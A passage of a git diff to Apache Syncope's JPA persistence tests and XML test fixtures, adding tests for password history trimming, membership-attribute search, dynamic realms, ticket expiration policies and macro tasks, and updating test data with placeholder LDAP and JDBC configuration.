user.setCreationDate(OffsetDateTime.now()); - user.setCipherAlgorithm(CipherAlgorithm.SHA256); - user.setPassword("pass"); - - try { - userDAO.save(user); - fail("This should not happen"); - } catch (InvalidEntityException e) { - assertNotNull(e); - } - } - - @Test - public void saveInvalidUsername() { - User user = entityFactory.newEntity(User.class); - user.setUsername("username!"); - user.setRealm(realmDAO.findByFullPath("/even/two")); - user.setCreator("admin"); - user.setCreationDate(OffsetDateTime.now()); - user.setCipherAlgorithm(CipherAlgorithm.SHA256); - user.setPassword("password123"); - - try { - userDAO.save(user); - fail("This should not happen"); - } catch (InvalidEntityException e) { - assertNotNull(e); - } - } - @Test public void save() { User user = entityFactory.newEntity(User.class); @@ -249,7 +212,9 @@ public void save() { User actual = userDAO.save(user); assertNotNull(actual); - assertEquals(1, actual.getPasswordHistory().size()); + + entityManager().flush(); + assertNotNull(userDAO.findLastChange(actual.getKey())); assertTrue(actual.getLastChangeDate().truncatedTo(ChronoUnit.SECONDS). isEqual(userDAO.findLastChange(actual.getKey()).truncatedTo(ChronoUnit.SECONDS))); @@ -295,7 +260,8 @@ public void issueSYNCOPE391() { @Test public void testPasswordGenerator() { - String password = passwordGenerator.generate(resourceDAO.find("ws-target-resource-nopropagation")); + String password = passwordGenerator.generate(resourceDAO.find("ws-target-resource-nopropagation"), + List.of(realmDAO.getRoot())); assertNotNull(password); User user = userDAO.find("c9b2dec2-00a7-4855-97c0-d854842b4b24"); @@ -306,7 +272,8 @@ public void testPasswordGenerator() { @Test public void passwordGeneratorFailing() { assertThrows(IllegalArgumentException.class, () -> { - String password = passwordGenerator.generate(resourceDAO.find("ws-target-resource-nopropagation")); + String password = passwordGenerator.generate(resourceDAO.find("ws-target-resource-nopropagation"), + List.of(realmDAO.getRoot())); assertNotNull(password); User user = userDAO.find("c9b2dec2-00a7-4855-97c0-d854842b4b24"); @@ -335,4 +302,42 @@ public void issueSYNCOPE1666() { assertNotNull(actual.getSecurityAnswer()); assertTrue(Encryptor.getInstance().verify(securityAnswer, CipherAlgorithm.SSHA256, actual.getSecurityAnswer())); } + + @Test + public void issueSYNCOPE1937() throws Exception { + User user = entityFactory.newEntity(User.class); + user.setUsername("username"); + user.setRealm(realmDAO.getRoot()); + user.setCreator("admin"); + user.setCreationDate(OffsetDateTime.now()); + + user.setCipherAlgorithm(CipherAlgorithm.SHA1); + user.setPassword("password123"); + + user = userDAO.save(user); + assertNotNull(user); + + assertEquals(0, user.getPasswordHistory().size()); + + // add some other password to history + user.addToPasswordHistory(Encryptor.getInstance().encode("Password123!", CipherAlgorithm.SHA1)); + user.addToPasswordHistory(Encryptor.getInstance().encode("Password124!", CipherAlgorithm.SHA1)); + user.addToPasswordHistory(Encryptor.getInstance().encode("Password125!", CipherAlgorithm.SHA1)); + user.addToPasswordHistory(Encryptor.getInstance().encode("Password126!", CipherAlgorithm.SHA1)); + user.addToPasswordHistory(Encryptor.getInstance().encode("Password127!", CipherAlgorithm.SHA1)); + + assertEquals(5, user.getPasswordHistory().size()); + + // keep only the last three passwords into history + user.removeOldestEntriesFromPasswordHistory(2); + + assertEquals(3, user.getPasswordHistory().size()); + + // try with an exceeding number + try { + user.removeOldestEntriesFromPasswordHistory(user.getPasswordHistory().size() + 5); + } catch (Exception e) { + fail(e); + } + } } diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/AnySearchTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/AnySearchTest.java index 67fd767e93b..6e60f39f8e3 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/AnySearchTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/AnySearchTest.java @@ -33,6 +33,7 @@ import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; @@ -45,10 +46,14 @@ import org.apache.syncope.core.persistence.api.dao.search.RoleCond; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; import org.apache.syncope.core.persistence.api.entity.Role; +import org.apache.syncope.core.persistence.api.entity.anyobject.AMembership; +import org.apache.syncope.core.persistence.api.entity.anyobject.APlainAttr; +import org.apache.syncope.core.persistence.api.entity.anyobject.AnyObject; import org.apache.syncope.core.persistence.api.entity.group.GPlainAttr; import org.apache.syncope.core.persistence.api.entity.group.Group; import org.apache.syncope.core.persistence.api.entity.user.DynRoleMembership; import org.apache.syncope.core.persistence.api.entity.user.UMembership; +import org.apache.syncope.core.persistence.api.entity.user.UPlainAttr; import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.persistence.jpa.AbstractTest; import org.apache.syncope.core.provisioning.api.utils.RealmUtils; @@ -65,6 +70,9 @@ public class AnySearchTest extends AbstractTest { @Autowired private GroupDAO groupDAO; + @Autowired + private AnyObjectDAO anyObjectDAO; + @Autowired private AnySearchDAO searchDAO; @@ -151,6 +159,38 @@ public void searchAsGroupOwner() { assertEquals(rossini.getKey(), users.get(0).getKey()); } + @Test + public void searchByMembershipAttribute() { + AttrCond attrCond = new AttrCond(AttrCond.Type.EQ); + attrCond.setSchema("ctype"); + attrCond.setExpression("otherchildctype"); + SearchCond cond = SearchCond.getLeaf(attrCond); + + List results = searchDAO.search(cond, AnyTypeKind.ANY_OBJECT); + assertTrue(results.isEmpty()); + + // add any object membership and its plain attribute + AnyObject anyObject = anyObjectDAO.find("8559d14d-58c2-46eb-a2d4-a7d35161e8f8"); + AMembership memb = entityFactory.newEntity(AMembership.class); + memb.setLeftEnd(anyObject); + memb.setRightEnd(groupDAO.findByName("otherchild")); + anyObject.add(memb); + anyObject = anyObjectDAO.save(anyObject); + + APlainAttr attr = entityFactory.newEntity(APlainAttr.class); + attr.setSchema(plainSchemaDAO.find("ctype")); + attr.add(validator, "otherchildctype", anyUtilsFactory.getInstance(AnyTypeKind.ANY_OBJECT)); + attr.setOwner(anyObject); + attr.setMembership(anyObject.getMemberships().get(0)); + anyObject.add(attr); + anyObjectDAO.save(anyObject); + + results = searchDAO.search(cond, AnyTypeKind.ANY_OBJECT); + assertEquals(1, results.size()); + + assertTrue(results.stream().anyMatch(a -> "8559d14d-58c2-46eb-a2d4-a7d35161e8f8".equals(a.getKey()))); + } + @Test public void issueSYNCOPE95() { groupDAO.findAll(1, 100).forEach(group -> groupDAO.delete(group.getKey())); @@ -238,4 +278,44 @@ public void issueSYNCOPE1512() { assertEquals(1, matching.size()); assertEquals(group.getKey(), matching.get(0).getKey()); } + + @Test + public void issueSYNCOPE1790() { + // 0. search by email + AttrCond emailCond = new AttrCond(AttrCond.Type.EQ); + emailCond.setSchema("email"); + emailCond.setExpression("verdi@syncope.org"); + + SearchCond cond = SearchCond.getLeaf(emailCond); + assertTrue(cond.isValid()); + + List users = searchDAO.search(cond, AnyTypeKind.USER); + assertNotNull(users); + assertEquals(1, users.size()); + assertEquals("verdi", users.get(0).getUsername()); + + // 1. set rossini's email address for conditions as per SYNCOPE-1790 + User rossini = userDAO.findByUsername("rossini"); + assertNotNull(rossini); + + UPlainAttr mail = entityFactory.newEntity(UPlainAttr.class); + mail.setOwner(rossini); + mail.setSchema(plainSchemaDAO.find("email")); + mail.add(validator, "bisverdi@syncope.org", anyUtilsFactory.getInstance(AnyTypeKind.USER)); + rossini.add(mail); + + userDAO.save(rossini); + entityManager().flush(); + + rossini = userDAO.findByUsername("rossini"); + assertEquals( + "bisverdi@syncope.org", + rossini.getPlainAttr("email").map(a -> a.getValuesAsStrings().get(0)).orElseThrow()); + + // 2. search again + users = searchDAO.search(cond, AnyTypeKind.USER); + assertNotNull(users); + assertEquals(1, users.size()); + assertEquals("verdi", users.get(0).getUsername()); + } } diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/DynRealmTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/DynRealmTest.java index 63e7b17efef..dbb2993ad3c 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/DynRealmTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/DynRealmTest.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.core.persistence.jpa.outer; +import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertTrue; @@ -25,10 +26,12 @@ import java.util.List; import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; import org.apache.syncope.core.persistence.api.dao.AnyMatchDAO; import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.DynRealmDAO; +import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.DynRealmCond; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; @@ -58,6 +61,12 @@ public class DynRealmTest extends AbstractTest { @Autowired private UserDAO userDAO; + @Autowired + private PlainSchemaDAO plainSchemaDAO; + + @Autowired + private PlainAttrValidationManager plainAttrValidationManager; + @Test public void misc() { DynRealm dynRealm = entityFactory.newEntity(DynRealm.class); @@ -96,4 +105,66 @@ public void misc() { assertTrue(userDAO.findDynRealms(user.getKey()).contains(actual.getKey())); } + + @Test + public void issueSYNCOPE1806() { + // 1. create two dyn realms with same condition + DynRealm realm1 = entityFactory.newEntity(DynRealm.class); + realm1.setKey("realm1"); + + DynRealmMembership memb1 = entityFactory.newEntity(DynRealmMembership.class); + memb1.setDynRealm(realm1); + memb1.setAnyType(anyTypeDAO.findUser()); + memb1.setFIQLCond("cool==true"); + + realm1.add(memb1); + memb1.setDynRealm(realm1); + + realm1 = dynRealmDAO.saveAndRefreshDynMemberships(realm1); + + DynRealm realm2 = entityFactory.newEntity(DynRealm.class); + realm2.setKey("realm2"); + + DynRealmMembership memb2 = entityFactory.newEntity(DynRealmMembership.class); + memb2.setDynRealm(realm2); + memb2.setAnyType(anyTypeDAO.findUser()); + memb2.setFIQLCond("cool==true"); + + realm2.add(memb2); + memb2.setDynRealm(realm2); + + realm2 = dynRealmDAO.saveAndRefreshDynMemberships(realm2); + + entityManager().flush(); + + // 2. verify that dynamic members are the same + DynRealmCond dynRealmCond1 = new DynRealmCond(); + dynRealmCond1.setDynRealm(realm1.getKey()); + List matching1 = searchDAO.search(SearchCond.getLeaf(dynRealmCond1), AnyTypeKind.USER); + + DynRealmCond dynRealmCond2 = new DynRealmCond(); + dynRealmCond2.setDynRealm(realm2.getKey()); + List matching2 = searchDAO.search(SearchCond.getLeaf(dynRealmCond2), AnyTypeKind.USER); + + assertEquals(matching1, matching2); + assertEquals(1, matching1.size()); + assertTrue(matching1.stream().anyMatch(u -> "c9b2dec2-00a7-4855-97c0-d854842b4b24".equals(u.getKey()))); + + // 3. update an user to let them become part of both dyn realms + anyUtilsFactory.getInstance(AnyTypeKind.USER).addAttr( + plainAttrValidationManager, + "823074dc-d280-436d-a7dd-07399fae48ec", + plainSchemaDAO.find("cool"), + "true"); + + entityManager().flush(); + + // 4. verify that dynamic members are still the same + matching1 = searchDAO.search(SearchCond.getLeaf(dynRealmCond1), AnyTypeKind.USER); + matching2 = searchDAO.search(SearchCond.getLeaf(dynRealmCond2), AnyTypeKind.USER); + assertEquals(matching1, matching2); + assertEquals(2, matching1.size()); + assertTrue(matching1.stream().anyMatch(u -> "c9b2dec2-00a7-4855-97c0-d854842b4b24".equals(u.getKey()))); + assertTrue(matching1.stream().anyMatch(u -> "823074dc-d280-436d-a7dd-07399fae48ec".equals(u.getKey()))); + } } diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/PolicyTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/PolicyTest.java index dd091dc3d72..e603c1a7dfb 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/PolicyTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/PolicyTest.java @@ -30,6 +30,7 @@ import org.apache.syncope.core.persistence.api.entity.policy.AccessPolicy; import org.apache.syncope.core.persistence.api.entity.policy.AttrReleasePolicy; import org.apache.syncope.core.persistence.api.entity.policy.AuthPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.persistence.jpa.inner.AbstractClientAppTest; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; @@ -69,11 +70,13 @@ public void removePolicyFromRealm() { AuthPolicy authPolicy = buildAndSaveAuthPolicy(); AccessPolicy accessPolicy = buildAndSaveAccessPolicy(); AttrReleasePolicy attrPolicy = buildAndSaveAttrRelPolicy(); + TicketExpirationPolicy ticketExpirationPolicy = buildAndSaveTicketExpirationPolicy(); Realm realm = realmDAO.getRoot(); realm.setAuthPolicy(authPolicy); realm.setAccessPolicy(accessPolicy); realm.setAttrReleasePolicy(attrPolicy); + realm.setTicketExpirationPolicy(ticketExpirationPolicy); realm = realmDAO.save(realm); assertNotNull(realm.getAuthPolicy()); @@ -83,12 +86,14 @@ public void removePolicyFromRealm() { policyDAO.delete(authPolicy); policyDAO.delete(accessPolicy); policyDAO.delete(attrPolicy); + policyDAO.delete(ticketExpirationPolicy); entityManager().flush(); realm = realmDAO.getRoot(); assertNull(realm.getAuthPolicy()); assertNull(realm.getAccessPolicy()); assertNull(realm.getAttrReleasePolicy()); + assertNull(realm.getTicketExpirationPolicy()); } @Test @@ -96,6 +101,7 @@ public void removePolicyFromApps() { // Create new policy AccessPolicy accessPolicy = buildAndSaveAccessPolicy(); AuthPolicy authPolicy = buildAndSaveAuthPolicy(); + TicketExpirationPolicy ticketExpirationPolicy = buildAndSaveTicketExpirationPolicy(); // Create new client app and assign policy OIDCRPClientApp rp = entityFactory.newEntity(OIDCRPClientApp.class); @@ -106,14 +112,22 @@ public void removePolicyFromApps() { rp.setClientSecret("secret"); rp.setAccessPolicy(accessPolicy); rp.setAuthPolicy(authPolicy); + rp.setTicketExpirationPolicy(ticketExpirationPolicy); rp = oidcRelyingPartyDAO.save(rp); - assertNotNull(rp); + assertNotNull(rp.getAuthPolicy()); + assertNotNull(rp.getAccessPolicy()); + assertNotNull(rp.getTicketExpirationPolicy()); policyDAO.delete(accessPolicy); - entityManager().flush(); - policyDAO.delete(authPolicy); + policyDAO.delete(ticketExpirationPolicy); entityManager().flush(); + + rp = oidcRelyingPartyDAO.find(rp.getKey()); + assertNotNull(rp); + assertNull(rp.getAuthPolicy()); + assertNull(rp.getAccessPolicy()); + assertNull(rp.getTicketExpirationPolicy()); } } diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/ReportTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/ReportTest.java index 972ae5b2d4e..ed322d7c686 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/ReportTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/ReportTest.java @@ -26,10 +26,10 @@ import java.time.OffsetDateTime; import javax.persistence.EntityExistsException; -import org.apache.syncope.common.lib.types.ReportExecStatus; +import javax.ws.rs.core.MediaType; +import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; import org.apache.syncope.core.persistence.api.dao.ReportDAO; import org.apache.syncope.core.persistence.api.dao.ReportExecDAO; -import org.apache.syncope.core.persistence.api.dao.ReportTemplateDAO; import org.apache.syncope.core.persistence.api.entity.Report; import org.apache.syncope.core.persistence.api.entity.ReportExec; import org.apache.syncope.core.persistence.jpa.AbstractTest; @@ -44,10 +44,10 @@ public class ReportTest extends AbstractTest { private ReportDAO reportDAO; @Autowired - private ReportTemplateDAO reportTemplateDAO; + private ReportExecDAO reportExecDAO; @Autowired - private ReportExecDAO reportExecDAO; + private ImplementationDAO implementationDAO; @Test public void find() { @@ -69,8 +69,10 @@ public void saveWithExistingName() { report = entityFactory.newEntity(Report.class); report.setName(name); + report.setJobDelegate(implementationDAO.find("SampleReportJobDelegate")); + report.setMimeType(MediaType.TEXT_PLAIN); + report.setFileExt("txt"); report.setActive(true); - report.setTemplate(reportTemplateDAO.find("sample")); reportDAO.save(report); entityManager().flush(); @@ -87,7 +89,7 @@ public void save() { reportExec.setReport(report); reportExec.setStart(OffsetDateTime.now()); reportExec.setEnd(OffsetDateTime.now()); - reportExec.setStatus(ReportExecStatus.SUCCESS); + reportExec.setStatus("SUCCESS"); reportExec.setExecutor("admin"); report.add(reportExec); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/TaskTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/TaskTest.java index 952e4c97342..3a6e3e04148 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/TaskTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/TaskTest.java @@ -33,6 +33,7 @@ import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.ExecStatus; import org.apache.syncope.common.lib.types.IdMImplementationType; +import org.apache.syncope.common.lib.types.IdRepoImplementationType; import org.apache.syncope.common.lib.types.ImplementationEngine; import org.apache.syncope.common.lib.types.MatchingRule; import org.apache.syncope.common.lib.types.PullMode; @@ -49,6 +50,8 @@ import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; import org.apache.syncope.core.persistence.api.entity.ExternalResource; import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.apache.syncope.core.persistence.api.entity.task.MacroTask; +import org.apache.syncope.core.persistence.api.entity.task.MacroTaskCommand; import org.apache.syncope.core.persistence.api.entity.task.PropagationData; import org.apache.syncope.core.persistence.api.entity.task.PropagationTask; import org.apache.syncope.core.persistence.api.entity.task.PullTask; @@ -294,6 +297,56 @@ public void savePullTask() { assertEquals(task, actual); } + @Test + public void saveMacroTaskSameCommandMultipleOccurrencies() { + MacroTask task = entityFactory.newEntity(MacroTask.class); + task.setRealm(realmDAO.getRoot()); + task.setJobDelegate(implementationDAO.find("MacroJobDelegate")); + task.setName("saveMacroTaskSameCommandMultipleOccurrencies"); + task.setContinueOnError(true); + + Implementation command1 = entityFactory.newEntity(Implementation.class); + command1.setKey("command1"); + command1.setType(IdRepoImplementationType.COMMAND); + command1.setEngine(ImplementationEngine.JAVA); + command1.setBody("clazz1"); + command1 = implementationDAO.save(command1); + assertNotNull(command1); + + Implementation command2 = entityFactory.newEntity(Implementation.class); + command2.setKey("command2"); + command2.setType(IdRepoImplementationType.COMMAND); + command2.setEngine(ImplementationEngine.JAVA); + command2.setBody("clazz2"); + command2 = implementationDAO.save(command2); + assertNotNull(command2); + + MacroTaskCommand macroTaskCommand1 = entityFactory.newEntity(MacroTaskCommand.class); + macroTaskCommand1.setCommand(command1); + macroTaskCommand1.setMacroTask(task); + task.add(macroTaskCommand1); + + MacroTaskCommand macroTaskCommand2 = entityFactory.newEntity(MacroTaskCommand.class); + macroTaskCommand2.setCommand(command2); + macroTaskCommand2.setMacroTask(task); + task.add(macroTaskCommand2); + + MacroTaskCommand macroTaskCommand3 = entityFactory.newEntity(MacroTaskCommand.class); + macroTaskCommand3.setCommand(command1); + macroTaskCommand3.setMacroTask(task); + task.add(macroTaskCommand3); + + task = (MacroTask) taskDAO.save(task); + assertNotNull(task); + assertEquals(3, task.getCommands().size()); + assertEquals(command1, task.getCommands().get(0).getCommand()); + assertEquals(command2, task.getCommands().get(1).getCommand()); + assertEquals(command1, task.getCommands().get(2).getCommand()); + + MacroTask actual = (MacroTask) taskDAO.find(TaskType.MACRO, task.getKey()); + assertEquals(task, actual); + } + @Test public void issueSYNCOPE144() { ExternalResource resource = resourceDAO.find("ws-target-resource-1"); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/UserTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/UserTest.java index 46c35c87c12..d8d423e8a0f 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/UserTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/UserTest.java @@ -23,15 +23,12 @@ import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNull; import static org.junit.jupiter.api.Assertions.assertTrue; -import static org.junit.jupiter.api.Assertions.fail; import java.time.OffsetDateTime; import java.util.List; import java.util.Objects; import java.util.UUID; -import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.CipherAlgorithm; -import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.ApplicationDAO; @@ -163,83 +160,6 @@ public void ships() { assertEquals("8559d14d-58c2-46eb-a2d4-a7d35161e8f8", user.getRelationships().get(0).getRightEnd().getKey()); } - @Test - public void membershipWithAttrNotAllowed() { - User user = userDAO.findByUsername("vivaldi"); - assertNotNull(user); - user.getMemberships().clear(); - - // add 'obscure' to user (no membership): works because 'obscure' is from 'other', default class for USER - UPlainAttr attr = entityFactory.newEntity(UPlainAttr.class); - attr.setOwner(user); - attr.setSchema(plainSchemaDAO.find("obscure")); - attr.add(validator, "testvalue", anyUtilsFactory.getInstance(AnyTypeKind.USER)); - user.add(attr); - - // add 'obscure' to user (via 'artDirector' membership): does not work because 'obscure' is from 'other' - // but 'artDirector' defines no type extension - UMembership membership = entityFactory.newEntity(UMembership.class); - membership.setLeftEnd(user); - membership.setRightEnd(groupDAO.findByName("artDirector")); - user.add(membership); - - attr = entityFactory.newEntity(UPlainAttr.class); - attr.setOwner(user); - attr.setMembership(membership); - attr.setSchema(plainSchemaDAO.find("obscure")); - attr.add(validator, "testvalue2", anyUtilsFactory.getInstance(AnyTypeKind.USER)); - user.add(attr); - - try { - userDAO.save(user); - fail("This should not happen"); - } catch (InvalidEntityException e) { - assertNotNull(e); - } - } - - @Test - public void membershipWithAttr() { - User user = userDAO.findByUsername("vivaldi"); - assertNotNull(user); - user.getMemberships().clear(); - - // add 'obscure' (no membership): works because 'obscure' is from 'other', default class for USER - UPlainAttr attr = entityFactory.newEntity(UPlainAttr.class); - attr.setOwner(user); - attr.setSchema(plainSchemaDAO.find("obscure")); - attr.add(validator, "testvalue", anyUtilsFactory.getInstance(AnyTypeKind.USER)); - user.add(attr); - - // add 'obscure' (via 'additional' membership): that group defines type extension with classes 'other' and 'csv' - UMembership membership = entityFactory.newEntity(UMembership.class); - membership.setLeftEnd(user); - membership.setRightEnd(groupDAO.findByName("additional")); - user.add(membership); - - attr = entityFactory.newEntity(UPlainAttr.class); - attr.setOwner(user); - attr.setMembership(membership); - attr.setSchema(plainSchemaDAO.find("obscure")); - attr.add(validator, "testvalue2", anyUtilsFactory.getInstance(AnyTypeKind.USER)); - user.add(attr); - - userDAO.save(user); - entityManager().flush(); - - user = userDAO.findByUsername("vivaldi"); - assertEquals(1, user.getMemberships().size()); - - UMembership newM = user.getMembership(groupDAO.findByName("additional").getKey()).get(); - assertEquals(1, user.getPlainAttrs(newM).size()); - - assertNull(user.getPlainAttr("obscure").get().getMembership()); - assertEquals(2, user.getPlainAttrs("obscure").size()); - assertTrue(user.getPlainAttrs("obscure").contains(user.getPlainAttr("obscure").get())); - assertTrue(user.getPlainAttrs("obscure").stream().anyMatch(a -> a.getMembership() == null)); - assertTrue(user.getPlainAttrs("obscure").stream().anyMatch(a -> newM.equals(a.getMembership()))); - } - private LinkedAccount newLinkedAccount(final String connObjectKeyValue) { User user = userDAO.findByUsername("vivaldi"); user.getLinkedAccounts().stream().filter(Objects::nonNull).forEach(account -> account.setOwner(null)); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/XMLContentExporterTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/XMLContentExporterTest.java index 2bb59eccb8a..061971f71e3 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/XMLContentExporterTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/outer/XMLContentExporterTest.java @@ -50,7 +50,7 @@ public class XMLContentExporterTest extends AbstractTest { public void issueSYNCOPE1128() throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); - exporter.export(SyncopeConstants.MASTER_DOMAIN, baos, null, null, null); + exporter.export(SyncopeConstants.MASTER_DOMAIN, 100, baos); String exported = baos.toString(Charset.defaultCharset()); assertTrue(StringUtils.isNotBlank(exported)); @@ -60,8 +60,8 @@ public void issueSYNCOPE1128() throws Exception { filter(row -> row.trim().startsWith(" - + + jsonConf='{"_class":"org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf","releaseAttrs":{},"allowedAttrs":[],"excludedAttrs":[],"includeOnlyAttrs":[],"principalIdAttr":null,"principalAttrRepoConf":{"mergingStrategy":"MULTIVALUED","ignoreResolvedAttributes":false,"expiration":0,"timeUnit":"HOURS","attrRepos":[]}}'/> + jsonConf='{"_class":"org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf","releaseAttrs":{},"allowedAttrs":["cn","givenName","uid"],"excludedAttrs":[],"includeOnlyAttrs":[],"principalIdAttr":null,"principalAttrRepoConf":{"mergingStrategy":"MULTIVALUED","ignoreResolvedAttributes":false,"expiration":0,"timeUnit":"HOURS","attrRepos":[]}}'/> + description="LDAP auth module" jsonConf='{"_class":"org.apache.syncope.common.lib.auth.LDAPAuthModuleConf","principalAttributeId":"cn","bindDn": "${testds.bindDn}", "bindCredential":"${testds.password}","ldapUrl":"ldap://localhost:${testds.port}","searchFilter":"cn={user}","baseDn":"ou=People,${testds.rootDn}","subtreeSearch":true}' + items='[{"intAttrName":"mail","extAttrName":"email","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"givenName","extAttrName":"given_name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"sn","extAttrName":"family_name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"cn","extAttrName":"name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]}]'/> + items='[{"intAttrName":"syncopeUserAttr_surname","extAttrName":"family_name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"syncopeUserAttr_fullname","extAttrName":"name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"syncopeUserAttr_firstname","extAttrName":"given_name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"syncopeUserAttr_email","extAttrName":"email","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"memberships","extAttrName":"groups","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]}]'/> + + description="LDAP attr repo" jsonConf='{"_class":"org.apache.syncope.common.lib.attr.LDAPAttrRepoConf","searchFilter":"cn={user}","subtreeSearch":true,"ldapUrl":"ldap://localhost:${testds.port}","bindDn":"${testds.bindDn}","bindCredential":"${testds.password}","baseDn":"ou=People,${testds.rootDn}","useAllQueryAttributes":true,"queryAttributes":{}}'/> + description="JDBC attr repo" jsonConf='{"_class":"org.apache.syncope.common.lib.attr.JDBCAttrRepoConf","sql":"SELECT * FROM table WHERE name=?","dialect":"org.hibernate.dialect.H2Dialect","driverClass":"org.h2.Driver","url":"jdbc:h2:mem:syncopedb;DB_CLOSE_DELAY=-1","user":"username","password":"password","singleRow":true,"requireAllAttributes":true,"caseCanonicalization":"NONE","queryType":"AND","columnMappings":{},"username":[],"caseInsensitiveQueryAttributes":[],"queryAttributes":{}}'/> @@ -119,12 +122,14 @@ under the License. - - - + + - @@ -192,7 +197,7 @@ under the License. password="5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" cipherAlgorithm="SHA1" realm_id="e4c28e7a-9dbf-4ee7-9441-93812a0d4a28" username="bellini" creator="admin" lastModifier="admin" - creationDate="2010-10-20 11:00:00" lastChangeDate="2010-10-20 11:00:00" suspended="0"/> + creationDate="2010-10-20 11:00:00" lastLoginDate="2016-03-03 15:21:22" lastChangeDate="2010-10-20 11:00:00" suspended="0"/> + + - - @@ -539,7 +547,7 @@ under the License. - - + + + @@ -762,8 